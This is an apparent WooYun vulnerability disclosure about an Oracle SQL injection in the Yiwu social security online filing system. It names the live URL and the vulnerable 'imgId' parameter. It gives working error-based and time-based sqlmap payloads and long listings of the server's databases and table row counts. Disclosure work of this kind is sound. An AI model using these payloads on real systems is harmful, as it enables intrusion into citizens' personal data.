当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0112545

漏洞标题：义务市社保某系统存在oracle注射。

相关厂商：义乌市人力资源和社会保障局

漏洞作者： 路人甲

提交时间：2015-05-22 11:53

修复时间：2015-07-11 11:32

公开时间：2015-07-11 11:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：11

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-22： 细节已通知厂商并且等待厂商处理中
2015-05-27： 厂商已经确认，细节仅向厂商公开
2015-06-06： 细节向核心白帽子及相关领域专家公开
2015-06-16： 细节向普通白帽子公开
2015-06-26： 细节向实习白帽子公开
2015-07-11： 细节向公众公开

简要描述：

RT

详细说明：

http://sb.ywrl.gov.cn:8096/sionlineman/printshow.jsp (POST)
randomCode=88952634&imgId=88952634


义乌市社会保险网上申报系统

1.png


sqlmap identified the following injection points with a total of 330 HTTP(s) requests:
---
Parameter: imgId (POST)
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)
    Payload: randomCode=88952634&imgId=88952634' AND 5535=CTXSYS.DRITHSX.SN(5535,(CHR(113)||CHR(107)||CHR(98)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (5535=5535) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(113)||CHR(120)||CHR(113))) AND 'ZaBV'='ZaBV
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: randomCode=88952634&imgId=88952634' AND 5681=DBMS_PIPE.RECEIVE_MESSAGE(CHR(84)||CHR(113)||CHR(106)||CHR(86),5) AND 'dqEP'='dqEP
---
web application technology: Servlet 2.4, JSP, JSP 2.0
back-end DBMS: Oracle
available databases [19]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] MDSYS
[*] NETREP_YW
[*] NETREP_YWGR
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] REPQUERY
[*] SSIM
[*] SYS
[*] SYSMAN
[*] WMSYS
[*] XDB


Database: NETREP_YW
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| NET_AE02                       | 666754  |
| L_NET_AE10                     | 597692  |
| NET_AC22                       | 404583  |
| SYSLOGONHISTORY                | 383262  |
| L_NET_AC22                     | 358365  |
| NET_AE10                       | 335723  |
| NET_AE20                       | 335693  |
| NET_AE11                       | 321859  |
| NET_AC23                       | 151643  |
| NET_AC21                       | 141508  |
| L_NET_AC23                     | 136232  |
| SBDN_PRINTLOG                  | 135121  |
| L_NET_AC21                     | 130020  |
| SBDN_PRINTTEMP                 | 42908   |
| P1                             | 35288   |
| SBDN_PRINTLOG_YWGR             | 34781   |
| L_NET_AC04                     | 29439   |
| NET_AC04                       | 29434   |
| P11                            | 25288   |
| SMT_LOG                        | 24468   |
| SYSLOG                         | 20956   |
| SMT_USERGROUPREF               | 11944   |
| NET_AC24                       | 9809    |
| P2                             | 8058    |
| L_NET_AC24                     | 7959    |
| SMT_USER                       | 4766    |
| NET_AE10_BAK                   | 2648    |
| NET_AC55                       | 1896    |
| NET_AC20                       | 1624    |
| SMT_OPLOG                      | 1559    |
| L_NET_AC20                     | 1429    |
| NET_AC27                       | 1374    |
| L_NET_AC27                     | 1092    |
| AA10                           | 535     |
| SMT_ACL                        | 411     |
| NET_AB04                       | 406     |
| L_NET_AB04                     | 284     |
| AA11                           | 240     |
| SMT_RESOURCE                   | 228     |
| SMT_FUNCTION                   | 220     |
| SMT_FUNCTION_20150413          | 220     |
| SBDS_SYSLOGDT                  | 152     |
| TEMP_AE10                      | 109     |
| SBDS_SYSLOG                    | 92      |
| NET_TEST                       | 72      |
| NET_TEST1                      | 72      |
| SBDS_CAL                       | 48      |
| TEMP_AC21                      | 46      |
| AA09                           | 45      |
| NET_AC39                       | 37      |
| JFJSSXX                        | 20      |
| TEST1                          | 18      |
| AA01                           | 15      |
| WORKDATE                       | 10      |
| SMT_ACT                        | 9       |
| SMT_GROUP                      | 8       |
| SMT_ROLE                       | 7       |
| TABLELIST                      | 6       |
| NET_AC36                       | 4       |
| NET_AC37                       | 3       |
| NET_AC38                       | 3       |
| SBDS_USERLOG                   | 3       |
| NET_AC54                       | 2       |
| SBDN_PRINTLOG_20150113         | 2       |
| SMT_APP                        | 2       |
| AA12                           | 1       |
| AA26                           | 1       |
| NOTICE                         | 1       |
| PRINTNUM                       | 1       |
| SBDS_ANCONS                    | 1       |
| SMT_SCENE                      | 1       |
| TABLEDOWNLOAD                  | 1       |
+--------------------------------+---------+
Database: EXFSYS
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| RLM$VALIDPRIVS                 | 17      |
| EXF$VALIDIOPER                 | 16      |
| RLM$RULESETSTCODE              | 8       |
| EXF$VALIDPRIVS                 | 3       |
| EXF$PARAMETER                  | 2       |
| EXF$VERSION                    | 1       |
+--------------------------------+---------+
Database: ORDSYS
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| SI_IMAGE_FORMATS_TAB           | 17      |
| SI_VALUES_TAB                  | 8       |
| SI_FEATURES_TAB                | 4       |
+--------------------------------+---------+
Database: APEX_030200
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| WWV_FLOW_DICTIONARY$           | 70601   |
| WWV_FLOW_STEP_ITEMS            | 9671    |
| WWV_FLOW_REGION_REPORT_COLUMN  | 7903    |
| WWV_FLOW_PAGE_PLUGS            | 7416    |
| WWV_FLOW_STEP_ITEM_HELP        | 6335    |
| WWV_FLOW_LIST_OF_VALUES_DATA   | 4184    |
| WWV_FLOW_MESSAGES$             | 3706    |
| WWV_FLOW_STEP_BUTTONS          | 3513    |
| WWV_FLOW_STEP_BRANCHES         | 3255    |
| WWV_FLOW_LIST_ITEMS            | 3048    |
| WWV_FLOW_STEP_PROCESSING       | 2238    |
| WWV_FLOW_STEP_VALIDATIONS      | 1990    |
| WWV_FLOW_STEPS                 | 1754    |
| WWV_FLOW_MENU_OPTIONS          | 1452    |
| WWV_FLOW_STEP_COMPUTATIONS     | 984     |
| WWV_FLOW_LISTS_OF_VALUES$      | 959     |
| WWV_FLOW_WORKSHEET_COLUMNS     | 721     |
| WWV_FLOW_LISTS                 | 601     |
| WWV_FLOW_REGION_UPD_RPT_COLS   | 439     |
| WWV_FLOW_STANDARD_ICONS        | 319     |
| WWV_FLOW_COUNTRIES             | 240     |
| WWV_FLOW_TRANSLATABLE_COLS$    | 232     |
| WWV_FLOW_SW_MAIN_KEYWORDS      | 199     |
| WWV_FLOW_PAGE_PLUG_TEMPLATES   | 166     |
| WWV_FLOW_LANGUAGES             | 132     |
| WWV_FLOW_LIST_TEMPLATES        | 105     |
| WWV_FLOW_PAGE_GROUPS           | 105     |
| WWV_FLOW_DUAL100               | 100     |
| WWV_FLOW_LANGUAGE_MAP          | 90      |
| WWV_FLOW_ITEMS                 | 89      |
| WWV_FLOW_UPGRADE_PROGRESS      | 89      |
| WWV_MIG_RESERVED_WORDS         | 87      |
| WWV_FLOW_TEMPLATES             | 64      |
| WWV_FLOW_HNT_COLUMN_INFO       | 58      |
| WWV_FLOW_ROW_TEMPLATES         | 54      |
| WWV_FLOW_RESTRICTED_SCHEMAS    | 46      |
| WWV_FLOW_PROCESSING            | 45      |
| WWV_MIG_FRM_OLB_XMLTAGTABLEMAP | 45      |
| WWV_FLOW_PAGE_GENERIC_ATTR     | 44      |
| WWV_FLOW_RANDOM_IMAGES         | 42      |
| WWV_FLOW_UPG_TAB_NAME_CHANGES  | 42      |
| WWV_FLOW_SHORTCUTS             | 39      |
| WWV_FLOW_ALT_CONFIG_PICK       | 37      |
| WWV_FLOW_FIELD_TEMPLATES       | 36      |
| WWV_MIG_FRM_XMLTAGTABLEMAP     | 36      |
| WWV_FLOW_CHARSETS              | 32      |
| WWV_FLOW_COMPANY_TYPES         | 32      |
| WWV_FLOW_WORKSHEET_RPTS        | 30      |
| WWV_FLOW_WORKSHEETS            | 30      |
| WWV_FLOW_STANDARD_CSS          | 27      |
| WWV_FLOW_PLATFORM_PREFS        | 21      |
| WWV_FLOW_SECURITY_SCHEMES      | 19      |
| WWV_FLOW_QUERY_COLUMN          | 18      |
| WWV_FLOW_UPG_TAB_OBSOLETE      | 17      |
| WWV_MIG_RPT_XMLTAGTABLEMAP     | 15      |
| WWV_FLOW_COMPUTATIONS          | 14      |
| WWV_FLOW_WORKSPACE_REQ_SIZE    | 14      |
| WWV_FLOW_BUTTON_TEMPLATES      | 12      |
| WWV_FLOW_ICON_BAR              | 12      |
| WWV_FLOW_CALS                  | 11      |
| WWV_FLOW_CUSTOM_AUTH_SETUPS    | 11      |
| WWV_FLOW_BANNER                | 10      |
| WWV_FLOW_POPUP_LOV_TEMPLATE    | 10      |
| WWV_FLOW_SW_CREATE_KEYWORDS    | 10      |
| WWV_FLOW_THEMES                | 10      |
| WWV_FLOWS                      | 10      |
| WWV_FLOW_CAL_TEMPLATES         | 9       |
| WWV_FLOW_DEVELOPER_ROLES       | 9       |
| WWV_FLOW_PATCHES               | 9       |
| WWV_FLOW_HNT_TABLE_INFO        | 8       |
| WWV_FLOW_MENU_TEMPLATES        | 8       |
| WWV_FLOW_SW_SQLPLUS_CMD        | 8       |
| WWV_FLOW_MENUS                 | 7       |
| WWV_MIG_MENU_XMLTAGTABLEMAP    | 7       |
| WWV_FLOW_LOV_VALUES            | 6       |
| WWV_FLOW_QUERY_CONDITION       | 6       |
| WWV_FLOW_QUERY_DEFINITION      | 6       |
| WWV_FLOW_QUERY_OBJECT          | 6       |
| WWV_FLOW_FLASH_CHART_SERIES    | 5       |
| WWV_FLOW_FLASH_CHARTS          | 5       |
| WWV_FLOW_PICK_PAGE_VIEWS       | 5       |
| WWV_FLOW_TOPLEVEL_TABS         | 5       |
| WWV_MIG_EXPORTER               | 5       |
| WWV_FLOW_PICK_END_USERS        | 4       |
| WWV_FLOW_SW_SET_KEYWORDS       | 4       |
| WWV_COLUMN_EXCEPTIONS          | 3       |
| WWV_FLOW_COMPANIES             | 3       |
| WWV_FLOW_TABS                  | 3       |
| WWV_FLOW_TREES                 | 3       |
| WWV_FLOW_INSTALL               | 2       |
| WWV_FLOW_STANDARD_JS           | 2       |
| WWV_FLOW_ACTIVITY_LOG_NUMBER$  | 1       |
| WWV_FLOW_APPLICATION_GROUPS    | 1       |
| WWV_FLOW_CLICKTHRU_LOG_NUMBER$ | 1       |
| WWV_FLOW_COMPANY_SCHEMAS       | 1       |
| WWV_FLOW_DB_AUTH               | 1       |
| WWV_FLOW_FND_USER              | 1       |
| WWV_FLOW_PASSWORD_HISTORY      | 1       |
| WWV_FLOW_USER_ACCESS_LOG_NUM$  | 1       |
+--------------------------------+---------+
Database: OLAPSYS
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| CWM$CLASSIFICATION             | 41      |
| CWM2$MRALL_DESCRIPTORS         | 41      |
| CWM$DOMAIN                     | 21      |
| CWM$CLASSIFICATIONTYPE         | 15      |
| CWM$OBJECTTYPE                 | 15      |
| CWM$FUNCTION                   | 14      |
| CWM$CLASSIFICATIONENTRY        | 5       |
| CWM$PARAMETER                  | 5       |
| CWM2$AWDIMLOADPARM             | 4       |
| CWM$PROJECT                    | 3       |
| CWM$MODEL                      | 2       |
| CWM2$AWCUBELOADTYPE            | 2       |
| CWM2$AWDIMLOADTYPE             | 2       |
| CWM2$AWCUBELOADPARM            | 1       |
+--------------------------------+---------+
Database: REPQUERY
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| P1                             | 35288   |
| P11                            | 25288   |
| SMT_LOG                        | 14529   |
| SYSLOGONHISTORY                | 8634    |
| P2                             | 8058    |
| SMT_USERGROUPREF               | 7202    |
| SMT_OPLOG                      | 1000    |
| AA10                           | 528     |
| SYSLOG                         | 468     |
| NET_AE02                       | 325     |
| NET_AC22                       | 274     |
| SMT_ACL                        | 241     |
| AA11                           | 240     |
| SMT_RESOURCE                   | 220     |
| SMT_FUNCTION                   | 212     |
| NET_AE10                       | 198     |
| NET_AE20                       | 196     |
| SBDS_SYSLOGDT                  | 152     |
| SBDS_SYSLOG                    | 92      |
| NET_AC04                       | 48      |
| AA09                           | 45      |
| NET_AC39                       | 37      |
| NET_AC24                       | 36      |
| NET_AC23                       | 29      |
| NET_AC21                       | 26      |
| SBDS_CAL                       | 24      |
| SMT_USER                       | 24      |
| NET_AC20                       | 22      |
| JFJSSXX                        | 20      |
| TEST1                          | 18      |
| NET_AC27                       | 17      |
| NET_AB04                       | 16      |
| AA01                           | 15      |
| WORKDATE                       | 10      |
| SMT_ACT                        | 6       |
| TABLELIST                      | 6       |
| NET_AC36                       | 4       |
| SMT_GROUP                      | 4       |
| SMT_ROLE                       | 4       |
| NET_AC37                       | 3       |
| NET_AC38                       | 3       |
| SBDS_USERLOG                   | 3       |
| TABLEDOWNLOAD                  | 3       |
| NET_AC54                       | 2       |
| SMT_APP                        | 2       |
| AA12                           | 1       |
| AA26                           | 1       |
| NET_AE11                       | 1       |
| SBDS_ANCONS                    | 1       |
| SMT_SCENE                      | 1       |
+--------------------------------+---------+
Database: SSIM
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| AEB121                         | 66749   |
| AA26                           | 38506   |
| AEB12                          | 32842   |
| L_RYXXGC                       | 6908    |
| RYXXGC                         | 5193    |
| SYSLOGONHISTORY                | 964     |
| AEB15                          | 700     |
| SMT_LOG                        | 349     |
| AA10                           | 338     |
| SYSLOG                         | 255     |
| SMT_OPLOG                      | 213     |
| AEB1                           | 182     |
| SMT_ACL                        | 150     |
| SMT_FUNCTION                   | 84      |
| SMT_RESOURCE                   | 84      |
| BBGL                           | 29      |
| AEB11                          | 24      |
| AEB16                          | 20      |
| AEB4                           | 17      |
| AEB3                           | 15      |
| AA01                           | 14      |
| SMT_ACT                        | 6       |
| SMT_USER                       | 6       |
| SMT_USERGROUPREF               | 6       |
| SMT_DESKTOPITEM                | 4       |
| AEB10                          | 3       |
| SBDN_PRINTLOG                  | 3       |
| SMT_ROLE                       | 3       |
| SMT_APP                        | 2       |
| SMT_SCENE                      | 1       |
| SMT_USERSELFCOLUMN             | 1       |
+--------------------------------+---------+
Database: NETREP_YWGR
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| SYSLOGONHISTORY                | 212079  |
| NET_PL                         | 55297   |
| SMT_USERGROUPREF               | 35968   |
| SMT_USER                       | 35867   |
| SMT_LOG                        | 11333   |
| AA10_BAK                       | 10448   |
| SYSLOG                         | 4369    |
| L_NET_AC20                     | 4297    |
| NET_AC20_GR                    | 4287    |
| SBDN_PRINTLOG                  | 3479    |
| AB10                           | 1043    |
| AB02                           | 999     |
| AC20_BAK                       | 999     |
| AE10                           | 999     |
| AC01_BAK                       | 998     |
| AC02_BAK                       | 998     |
| AB01_B                         | 993     |
| AA10                           | 599     |
| AA10_BAK_2014                  | 529     |
| AA11                           | 480     |
| SMT_ACL                        | 285     |
| SMT_RESOURCE                   | 265     |
| SMT_FUNCTION                   | 257     |
| SMT_FUNCTION_20150109          | 246     |
| NET_AC93                       | 226     |
| SBDN_PRINTTEMP                 | 100     |
| MC02                           | 79      |
| SMT_OPLOG                      | 66      |
| AA09                           | 45      |
| NET_PL_20140827                | 44      |
| SBDS_CAL                       | 36      |
| NET_AC54                       | 32      |
| NET_AC94                       | 17      |
| AA01                           | 15      |
| SMT_ACT                        | 6       |
| SMT_GROUP                      | 6       |
| SMT_ROLE                       | 5       |
| AC06                           | 3       |
| AC43                           | 3       |
| AC58                           | 3       |
| GRQYDZZ                        | 3       |
| GRQYDZZJF                      | 3       |
| KC53                           | 3       |
| NET_AC94_20141125              | 2       |
| AA12                           | 1       |
| AA26                           | 1       |
| CBD_DB_UPDATE                  | 1       |
| IC02                           | 1       |
| SMT_SCENE                      | 1       |
+--------------------------------+---------+
Database: SYSTEM
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| HELP                           | 919     |
| LOGSTDBY$SKIP_SUPPORT          | 135     |
| MVIEW$_ADV_PARAMETERS          | 40      |
| AQ$_QUEUES                     | 35      |
| REPCAT$_OBJECT_TYPES           | 28      |
| REPCAT$_RESOLUTION_METHOD      | 19      |
| AQ$_QUEUE_TABLES               | 18      |
| AQ$_INTERNET_AGENTS            | 4       |
| AQ$_INTERNET_AGENT_PRIVS       | 3       |
| REPCAT$_TEMPLATE_STATUS        | 3       |
| REPCAT$_AUDIT_ATTRIBUTE        | 2       |
| REPCAT$_TEMPLATE_TYPES         | 2       |
+--------------------------------+---------+
Database: DBSNMP
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| BSLN_STATISTICS                | 1109    |
| BSLN_TIMEGROUPS                | 168     |
| BSLN_METRIC_DEFAULTS           | 49      |
| BSLN_BASELINES                 | 1       |
+--------------------------------+---------+
Database: MDSYS
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| SDO_COORD_OP_PARAM_VALS        | 9964    |
| SDO_COORD_REF_SYS              | 4476    |
| SDO_CS_SRS                     | 4476    |
| SDO_COORD_OPS                  | 2325    |
| SDO_COORD_OP_PARAM_USE         | 726     |
| SDO_COORD_OP_PATHS             | 365     |
| SDO_COORD_OP_PARAMS            | 153     |
| SDO_COORD_AXES                 | 139     |
| SDO_UNITS_OF_MEASURE           | 132     |
| SDO_DATUMS_OLD_SNAPSHOT        | 118     |
| SDO_CRS_GEOGRAPHIC_PLUS_HEIGHT | 96      |
| SDO_ELLIPSOIDS                 | 96      |
| MD$RELATE                      | 95      |
| SDO_COORD_OP_METHODS           | 87      |
| SDO_STYLES_TABLE               | 78      |
| SDO_COORD_SYS                  | 65      |
| SDO_ELLIPSOIDS_OLD_SNAPSHOT    | 47      |
| SDO_PROJECTIONS_OLD_SNAPSHOT   | 42      |
| SDO_COORD_AXIS_NAMES           | 28      |
| OPENLS_CLASSIFICATIONS         | 22      |
| OPENLS_NODES                   | 17      |
| SDO_PRIME_MERIDIANS            | 16      |
| SDO_XML_SCHEMAS                | 5       |
| OPENLS_NAMESPACES              | 4       |
| OPENLSSERVICES                 | 4       |
| OLS_DIR_CATEGORY_TYPES         | 2       |
| SDO_GEOR_XMLSCHEMA_TABLE       | 1       |
+--------------------------------+---------+
Database: ORDDATA
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| ORDDCM_DICT_ATTRS              | 2418    |
| ORDDCM_STD_ATTRS               | 2415    |
| ORDDCM_UID_DEFS                | 245     |
| ORDDCM_CT_LOCATORPATHS         | 95      |
| ORDDCM_CT_DAREFS               | 72      |
| ORDDCM_CT_PRED                 | 61      |
| ORDDCM_CT_PRED_OPRD            | 53      |
| ORDDCM_INTERNAL_TAGS           | 42      |
| ORDDCM_ANON_ATTRS              | 37      |
| ORDDCM_VR_DT_MAP               | 32      |
| ORDDCM_PREFS_LOOKUP            | 13      |
| ORDDCM_RT_PREF_PARAMS          | 13      |
| ORDDCM_CT_PRED_SET             | 9       |
| ORDDCM_DOCS                    | 9       |
| ORDDCM_INSTALL_DOCS            | 9       |
| ORDDCM_DOC_TYPES               | 8       |
| ORDDCM_CT_ACTION               | 7       |
| ORDDCM_DOC_REFS                | 7       |
| ORDDCM_ANON_ACTION_TYPES       | 4       |
| ORDDCM_ANON_RULE_TYPES         | 3       |
| ORDDCM_ANON_RULES              | 3       |
| ORDDCM_CT_PRED_PAR             | 3       |
| ORDDCM_PRV_ATTRS               | 3       |
| ORDDCM_CT_MACRO_PAR            | 2       |
| ORDDCM_CT_MACRO_DEP            | 1       |
| ORDDCM_DATA_MODEL              | 1       |
| ORDDCM_MAPPING_DOCS            | 1       |
+--------------------------------+---------+
Database: SYS
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| AW$AWMD                        | 728     |
| STMT_AUDIT_OPTION_MAP          | 270     |
| SYSTEM_PRIVILEGE_MAP           | 208     |
| AUDIT_ACTIONS                  | 181     |
| AW$AWXML                       | 137     |
| AW$EXPRESS                     | 101     |
| AW$AWCREATE                    | 51      |
| AW$AWCREATE10G                 | 27      |
| AW$AWREPORT                    | 27      |
| TABLE_PRIVILEGE_MAP            | 26      |
| "DUAL"                         | 1       |
+--------------------------------+---------+
Database: CTXSYS
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| DR$OBJECT_ATTRIBUTE            | 509     |
| DR$DBO                         | 361     |
| DR$NUMBER_SEQUENCE             | 256     |
| DR$OBJECT_ATTRIBUTE_LOV        | 168     |
| DR$INDEX_VALUE                 | 124     |
| DR$STOPWORD                    | 114     |
| DR$OBJECT                      | 53      |
| DR$INDEX_OBJECT                | 36      |
| DR$PARAMETER                   | 32      |
| DR$PREFERENCE                  | 30      |
| DR$PREFERENCE_VALUE            | 20      |
| DR$FEATURE_USED                | 17      |
| DR$CLASS                       | 13      |
| DR$SECTION_GROUP               | 5       |
| DR$INDEX                       | 4       |
| DR$STOPLIST                    | 3       |
| DR$INDEX_SET                   | 1       |
+--------------------------------+---------+
Database: WMSYS
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| WM$HINT_TABLE                  | 58      |
| WM$SYSPARAM_ALL_VALUES         | 27      |
| WM$EVENTS_INFO                 | 12      |
| WM$WORKSPACE_PRIV_TABLE        | 8       |
| WM$ENV_VARS                    | 2       |
| AQ$_WM$EVENT_QUEUE_TABLE_S     | 1       |
| WM$NEXTVER_TABLE               | 1       |
| WM$VERSION_HIERARCHY_TABLE     | 1       |
| WM$WORKSPACES_TABLE            | 1       |
+--------------------------------+---------+
Database: SYSMAN
+--------------------------------+---------+
| Table                          | Entries |
+--------------------------------+---------+
| MGMT_METRICS                   | 12627   |
| MGMT_ARU_PRODUCT_RELEASE_MAP   | 5956    |
| MGMT_JOB_STEP_PARAMS           | 4032    |
| MGMT_POLICIES                  | 3258    |
| MGMT_ARU_FAMILY_PRODUCT_MAP    | 1660    |
| MGMT_IP_REPORT_ELEM_PARAMS     | 1490    |
| MGMT_JOB_EXECPLAN              | 1448    |
| MGMT_ARU_RELEASES              | 863     |
| MGMT_ECM_SNAPSHOT_MD_COLUMNS   | 839     |
| MGMT_ARU_PRODUCTS              | 744     |
| MGMT_ECM_MD_ALL_TBL_COLUMNS    | 704     |
| MGMT_POLICY_VIOL_CTXT_DEF      | 642     |
| MGMT_CATEGORY_MAP              | 637     |
| MGMT_POLICY_TYPE_VERSIONS      | 585     |
| MGMT_JOB_PARAM_SOURCE          | 527     |
| MGMT_ARU_OUI_COMPONENTS        | 393     |
| MGMT_POLICY_ASSOC_CFG          | 364     |
| MGMT_POLICY_ASSOC              | 358     |
| MGMT_JOB_TYPE_PARAM_DSPLY_INFO | 304     |
| MGMT_TARGET_PROP_DEFS          | 288     |
| MGMT_METRIC_VERSIONS           | 273     |
| MGMT_IP_REPORT_DEF_ELEMENTS    | 249     |
| MGMT_SNAPSHOT_METRIC_MAP       | 221     |
| MGMT_POLICY_BIND_VARS          | 169     |
| MGMT_JOB_TYPE_INFO             | 155     |
| MGMT_JOB_TYPE_MAX_VERSIONS     | 150     |
| MGMT_JOB_VALUE_PARAMS          | 140     |
| MGMT_JOB_COMMAND               | 136     |
| MGMT_IP_ELEM_DEFAULT_PARAMS    | 130     |
| MGMT_ECM_SNAPSHOT_MD_TABLES    | 122     |
| MGMT_CS_HIERARCHY              | 117     |
| MGMT_IP_ELEM_PARAM_CLASSES     | 116     |
| MGMT_JOB_SINGLE_TARGET_TYPES   | 106     |
| MGMT_PERFORMANCE_NAMES         | 106     |
| MGMT_PRIV_GRANTS               | 101     |
| MGMT_CS_RULE                   | 94      |
| MGMT_IP_REPORT_DEF             | 94      |
| MGMT_CALLBACKS                 | 87      |
| MGMT_IP_ELEM_TARGET_TYPES      | 86      |
| MGMT_JOB_CRED_PARAMS           | 86      |
| MGMT_IP_REPORT_DEF_JIT_TYPES   | 85      |
| MGMT_JOB_TYPE_DISPLAY_INFO     | 83      |
| MGMT_PARAMETERS                | 83      |
| MGMT_CREDENTIAL_SET_COLUMNS    | 82      |
| MGMT_JOB_TYPE_URI_INFO         | 79      |
| MGMT_IP_REPORT_ELEM_DEF        | 77      |
| MGMT_ARU_PLATFORMS             | 76      |
| MGMT_METADATA_SETS             | 75      |
| MGMT_TYPE_PROPERTIES           | 75      |
| MGMT_NESTED_JOB_TARGETS        | 61      |
| MGMT_BLACKOUT_REASON           | 60      |
| MGMT_LICENSE_DEFINITIONS       | 59      |
| MGMT_ECM_SNAPSHOT_METADATA     | 53      |
| MGMT_LICENSABLE_TARGET_TYPES   | 49      |
| MGMT_DM_ALITEMS                | 48      |
| MGMT_POLICY_ASSOC_CFG_PARAMS   | 46      |
| MGMT_DM_RULEENTRY              | 45      |
| MGMT_CREDENTIAL_TYPE_COLUMNS   | 41      |
| MGMT_NOTIFY_RULE_CONFIGS       | 41      |
| MGMT_USER_SUBTAB_COL_PREFS     | 41      |
| MGMT_ARU_LANGUAGES             | 40      |
| MGMT_LOADER_DESIGNATORS        | 40      |
| MGMT_ECM_MD_HIST_TBLS          | 39      |
| MGMT_TARGET_TYPE_VERSIONS      | 37      |
| MGMT_TARGET_DELETE_EXCEPTIONS  | 35      |
| MGMT_CREDENTIAL_SETS           | 33      |
| MGMT_IP_SQL_STATEMENTS         | 31      |
| MGMT_MP_HOMEPAGE_REPORTS       | 30      |
| MGMT_ECM_ARU_MAP               | 29      |
| MGMT_TARGET_TYPES              | 28      |
| MGMT_COLLECTION_METRIC_TASKS   | 27      |
| MGMT_COLLECTION_TASKS          | 27      |
| MGMT_NOTIFY_QUEUES             | 27      |
| MGMT_OUI_ARU_MAP               | 27      |
| MGMT_POLICY_PARAMETERS         | 27      |
| MGMT_TASK_QTABLE               | 27      |
| MGMT_USER_CALLBACKS            | 27      |
| MGMT_TARGET_ROLLUP_TIMES       | 26      |
| MGMT_JOB_PROP_PARAMS           | 25      |
| MGMT_OPERATIONS_MASTER         | 25      |
| MGMT_PRIVS                     | 24      |
| MGMT_USER_FOLDERS              | 24      |
| MGMT_CS_RULEFOLDER             | 23      |
| MGMT_METRICS_COMPOSITE_KEYS    | 22      |
| MGMT_COLLECTIONS               | 21      |
| MGMT_METRICS_EXT               | 20      |
| MGMT_ADMIN_LICENSES            | 19      |
| MGMT_DM_RULETEMPLATES          | 19      |
| MGMT_CREDENTIAL_TYPES          | 17      |
| MGMT_METRIC_DEPENDENCY_DEF     | 16      |
| MGMT_PAF_JOBTYPE_PARAMS        | 16      |
| MGMT_PURGE_POLICY              | 16      |
| MGMT_PURGE_POLICY_TARGET_STATE | 16      |
| MGMT_AVAILABLE_SEARCHES        | 15      |
| MGMT_JOB_USER_PARAMS           | 15      |
| MGMT_TARGET_ASSOC_DEFS         | 15      |
| MGMT_ECM_RESOURCES             | 14      |
| MGMT_ROWSET_HANDLERS           | 14      |
| MGMT_JOB_SUBST_PARAMS          | 13      |
| MGMT_PRIV_INCLUDES             | 13      |
| MGMT_TARGET_ADD_CALLBACKS      | 13      |
| MGMT_CATEGORIES                | 12      |
| MGMT_COLL_ITEM_METRICS         | 12      |
| MGMT_ERROR_MASTER              | 12      |
| EMDW_TRACE_CONFIG              | 9       |
| EUME2E_ASSOCS_LOOKUP           | 9       |
| MGMT_GROUP_DEFAULT_CHART       | 9       |
| MGMT_PDP_PARAM_METADATA        | 9       |
| MGMT_CREDENTIAL_SET_COL_VALS   | 8       |
| MGMT_JOB_DISPLAY_ERROR_CODES   | 8       |
| EM_PAGE_CONDITION_METADATA     | 7       |
| MGMT_CREDENTIAL_TYPE_REF       | 7       |
| MGMT_JOB_SEC_INFO              | 7       |
| MGMT_JOB_SQL_PARAMS            | 7       |
| MGMT_JOB_TYPE_PARAM_URI_INFO   | 7       |
| MGMT_NOTIFY_RULES              | 7       |
| MGMT_PURGE_POLICY_GROUP        | 7       |
| MGMT_BSLN_METRICS              | 6       |
| MGMT_JOB_CALLBACKS             | 6       |
| MGMT_NOTIFY_FORMAT_HANDLERS    | 6       |
| MGMT_PAF_PARAM_GROUPS          | 6       |
| MGMT_ALL_TARGET_PROPS          | 5       |
| MGMT_COLL_ITEMS                | 5       |
| MGMT_JOB_LOCK_INFO             | 5       |
| MGMT_JOB_LOCK_TARGETS          | 5       |
| MGMT_SWLIB_DIRECTORIES         | 5       |
| MGMT_TARGET_TYPE_COMPONENT_MAP | 5       |
| MGMT_VERSIONS                  | 5       |
| EM_PAGE_CUST_METADATA          | 4       |
| MGMT_CREATED_USERS             | 4       |
| MGMT_FAILOVER_CALLBACKS        | 4       |
| MGMT_JOB_EXECUTION             | 4       |
| MGMT_JOB_HISTORY               | 4       |
| MGMT_PAF_APPLICATIONS          | 4       |
| MGMT_USER_CONTEXT              | 4       |
| MGMT_CREDENTIAL_TYPE_COL_VALS  | 3       |
| MGMT_CS_CONFIG_STANDARD        | 3       |
| MGMT_CS_KEYWORD                | 3       |
| MGMT_FBP_PATCHING_GUIDS        | 3       |
| MGMT_JOB                       | 3       |
| MGMT_JOB_COMMAND_BLOCK_PROCS   | 3       |
| MGMT_NOTIFY_PROFILES           | 3       |
| MGMT_PDP_COLUMN_METADATA       | 3       |
| MGMT_PDP_SETTING_METADATA      | 3       |
| MGMT_CATEGORY_CLASSES          | 2       |
| MGMT_CORRECTIVE_ACTION         | 2       |
| MGMT_JOB_EXEC_SUMMARY          | 2       |
| MGMT_JOB_LARGE_PARAMS          | 2       |
